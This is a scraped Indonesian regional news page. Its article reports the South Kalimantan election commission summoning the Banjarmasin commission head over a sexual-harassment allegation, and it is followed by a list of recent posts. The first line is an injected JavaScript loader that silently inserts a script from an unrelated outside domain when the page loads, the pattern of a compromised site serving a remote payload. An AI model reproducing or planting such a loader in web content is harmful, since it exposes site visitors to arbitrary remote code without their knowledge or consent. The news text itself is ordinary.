(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemanggilan Gusti Makmur, KPU Kalsel: Kami Hanya Menyentuh Aspek Etik Saja!


KANALKALIMANTAN.COM, BANJARMASIN – Pemanggilan Ketua KPU Kota Banjarmasin Gusti Makmur oleh KPU Provinsi Kalsel, merupakan tindak lanjut dari kasus dugaan pelecehan seksual yang diduga menyeretnya. Alih-alih melihat dari aspek hukum KPU Provinsi Kalsel sendiri hanya melihatnya dari aspek etik, apalagi Gusti Makmur merupakan pimpinan penyelenggara pemilu di Kota Banjarmasin.

“Kita hanya menyentuh aspek etiknya saja, karena itu terkait dengan posisi yang bersangkutan sebagai penyelenggara pemilu,” kata Plh Ketua KPU Provinsi Kalsel Siswandi Reya’an, Selasa (21/1/2020) siang.

Siswandi beralasan, dari aspek hukum karena menurutnya itu merupakan persoalan yang berbeda. Apalagi, kasus dugaan pelecehan seksual ini prosesnya tengah ditangani oleh Kepolisian dan Kejaksaan.

Lebih lanjut Komisioner KPU Provinsi Kalsel Edy Ariansyah menambahkan, pihaknya masih terus menggali informasi dan klarifikasi terkait kasus ini. Karena masih ada beberapa hal yang perlu ditinjau dari pihak terkait.

“Sehingga kami duduk bersama berlima, setelah mendapatkan data-data dari berbagai pihak atau informasi dari pihak terkait. Baru kita akan simpulkan,” jelas Edy.

Lalu, apa ada rencana KPU Provinsi Kalsel untuk memanggil atau meminta informasi dari pihak terkait? Edy menyebut pihaknya akan membicarakannya lebih lanjut. “Insyaallah, masih kita bicarakan lebih lanjut lagi dengan teman-teman, pihak mana yang relevan (untuk) didapati informasi dan kita telusuri,” papar Edy.

Sayangnya, Edy belum bisa mengungkapkan dari klarifikasi yang disampaikan Gusti Makmur kepada komisioner KPU Provinsi Kalsel. Alasannya, karena informasi yang digali baru dari Gusti Makmur.

“Belum bisa disampaikan kepada publik, karena itu masih sepihak. Masih ada beberapa hal yang perlu kami dapati terkait informasi yang berkembang di media massa,” tegas Edy.

Edy pun menambahkan, apa yang dilakukan oleh KPU Provinsi Kalsel adalah pengawasan internal terhadap informasi yang mencuat di publik melalui media massa. Sehingga, pihaknya merespon sebagai keluhan publik terhadap jajaran penyelenggara pemilu.

“Agar hal tersebut tidak menjadi fitnah, kami panggil untuk meminta keterangan. Nanti kita lihat dulu, kendati belum kita buka hasil klarifikasi, tetapi akan kami simpulkan dari berbagai pihak,” tandas Edy. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Coffe Morning DPRD Banjarbaru Bahas Kesiapan Dukungan Acara Rutin Malam Senin 5 Rajab

KANALKALIMANTAN.COM, BANJARBARU - Menyambut Tahun Baru 2025, Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menggelar… Read More

10 jam ago

Soft Opening Peresmian Gedung Baru RSUD Pambalah Batung Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Meningkatan kualitas pelayanan kesehatan masyarakat, Penjabat (Pj) Bupati Hulu Sungai Utara (HSU)… Read More

10 jam ago

3.651 Arsip BPKAD Banjarbaru Dimusnahkan di Depo Arsip

KANALKALIMANTAN.COM, BANJARBARU - Pemusnahan arsip dilakukan oleh Dinas Arsip dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru… Read More

12 jam ago

Dewa 19 Guncang Panggung Batfest 2024, Mulan Jameela Tampil Totalitas

KANALKALIMANTAN. COM, BATULICIN - Batulicin Festival (Batfest) 2024 benar-benar menyala. Memasuki hari ketiga, panggung spektakuler… Read More

13 jam ago

Aset Daerah Tersertifikasi, Pemkab HSU Beri Penghargaan ke ATR BPN HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menyerahkan penghargaan kepada… Read More

13 jam ago

Tongkang Angkut Alat Berat Nyangkut di Jembatan Pasar Lama dan Merdeka

KANALKALIMANTAN.COM, BANJARMASIN - Kapal tongkang pengangkut alat berat tersangkut di kolong jembatan saat melintas di… Read More

15 jam ago